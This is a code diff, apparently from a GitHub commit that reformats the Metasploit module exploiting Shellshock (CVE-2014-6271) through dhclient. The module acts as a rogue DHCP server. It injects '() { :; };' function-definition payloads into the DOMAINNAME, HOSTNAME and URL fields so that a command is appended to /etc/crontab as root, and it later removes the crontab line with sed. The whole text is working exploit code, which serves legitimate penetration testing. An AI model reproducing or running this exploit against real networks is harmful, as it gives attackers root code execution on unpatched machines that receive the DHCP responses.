3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
-
7
6
class MetasploitModule < Msf ::Exploit ::Remote
8
7
Rank = ExcellentRanking
9
8
10
9
include Msf ::Exploit ::Remote ::DHCPServer
11
10
12
11
def initialize ( info = { } )
13
- super ( update_info ( info ,
14
- 'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)' ,
15
- 'Description' => %q|
16
- This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
17
- handles external environment variables. This module targets dhclient by responding
18
- to DHCP requests with a malicious hostname, domainname, and URL which are then
19
- passed to the configuration scripts as environment variables, resulting in code
20
- execution. Due to length restrictions and the unusual networking scenario at the
21
- time of exploitation, this module achieves code execution by writing the payload
22
- into /etc/crontab and then cleaning it up after a session is created.
23
- | ,
24
- 'Author' =>
25
- [
12
+ super (
13
+ update_info (
14
+ info ,
15
+ 'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)' ,
16
+ 'Description' => %q{
17
+ This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
18
+ handles external environment variables. This module targets dhclient by responding
19
+ to DHCP requests with a malicious hostname, domainname, and URL which are then
20
+ passed to the configuration scripts as environment variables, resulting in code
21
+ execution. Due to length restrictions and the unusual networking scenario at the
22
+ time of exploitation, this module achieves code execution by writing the payload
23
+ into /etc/crontab and then cleaning it up after a session is created.
24
+ } ,
25
+ 'Author' => [
26
26
'Stephane Chazelas' , # Vulnerability discovery
27
27
'egypt' # Metasploit module
28
28
] ,
29
- 'License' => MSF_LICENSE ,
30
- 'Platform' => [ 'unix' ] ,
31
- 'Arch' => ARCH_CMD ,
32
- 'References' =>
33
- [
29
+ 'License' => MSF_LICENSE ,
30
+ 'Platform' => [ 'unix' ] ,
31
+ 'Arch' => ARCH_CMD ,
32
+ 'References' => [
34
33
[ 'CVE' , '2014-6271' ] ,
35
34
[ 'CWE' , '94' ] ,
36
35
[ 'OSVDB' , '112004' ] ,
@@ -39,36 +38,34 @@ def initialize(info = {})
39
38
[ 'URL' , 'https://seclists.org/oss-sec/2014/q3/649' ] ,
40
39
[ 'URL' , 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
41
40
] ,
42
- 'Payload' =>
43
- {
41
+ 'Payload' => {
44
42
# 255 for a domain name, minus some room for encoding
45
- 'Space' => 200 ,
43
+ 'Space' => 200 ,
46
44
'DisableNops' => true ,
47
- 'Compat' =>
48
- {
49
- 'PayloadType' => 'cmd' ,
50
- 'RequiredCmd' => 'generic telnet ruby' ,
51
- }
52
- } ,
53
- 'Targets' => [ [ 'Automatic Target' , { } ] ] ,
54
- 'DefaultTarget' => 0 ,
55
- 'DisclosureDate' => '2014-09-24' ,
56
- 'Notes' =>
57
- {
58
- 'Stability' => [ CRASH_SAFE ] ,
59
- 'SideEffects' => [ ] ,
60
- 'Reliability' => [ ] ,
61
- 'AKA' => [ 'Shellshock' ]
45
+ 'Compat' => {
46
+ 'PayloadType' => 'cmd' ,
47
+ 'RequiredCmd' => 'generic telnet ruby'
62
48
}
63
- ) )
49
+ } ,
50
+ 'Targets' => [ [ 'Automatic Target' , { } ] ] ,
51
+ 'DefaultTarget' => 0 ,
52
+ 'DisclosureDate' => '2014-09-24' ,
53
+ 'Notes' => {
54
+ 'Stability' => [ CRASH_SAFE ] ,
55
+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
56
+ 'Reliability' => [ REPEATABLE_SESSION ] ,
57
+ 'AKA' => [ 'Shellshock' ]
58
+ }
59
+ )
60
+ )
64
61
65
62
deregister_options ( 'DOMAINNAME' , 'HOSTNAME' , 'URL' )
66
63
67
64
self . needs_cleanup = true
68
65
end
69
66
70
67
def on_new_session ( session )
71
- print_status " Cleaning up crontab"
68
+ print_status ' Cleaning up crontab'
72
69
# XXX this will brick a server some day
73
70
session . shell_command_token ( "sed -i '/^\\ * \\ * \\ * \\ * \\ * root/d' /etc/crontab" )
74
71
end
@@ -78,7 +75,7 @@ def exploit
78
75
# Quotes seem to be completely stripped, so other characters have to be
79
76
# escaped
80
77
p = payload . encoded . gsub ( /([<>()|'&;$])/ ) { |s | Rex ::Text . to_hex ( s ) }
81
- echo = "echo -e #{ ( Rex ::Text . to_hex ( "*" ) + " " ) * 5 } root #{ p } >>/etc/crontab"
78
+ echo = "echo -e #{ ( Rex ::Text . to_hex ( '*' ) + ' ' ) * 5 } root #{ p } >>/etc/crontab"
82
79
hash [ 'DOMAINNAME' ] = "() { :; };#{ echo } "
83
80
if hash [ 'DOMAINNAME' ] . length > 255
84
81
raise ArgumentError , 'payload too long'
@@ -88,8 +85,6 @@ def exploit
88
85
hash [ 'URL' ] = "() { :; };#{ echo } "
89
86
start_service ( hash )
90
87
91
- while @dhcp . thread . alive?
92
- sleep 2
93
- end
88
+ sleep 2 while @dhcp . thread . alive?
94
89
end
95
90
end
0 commit comments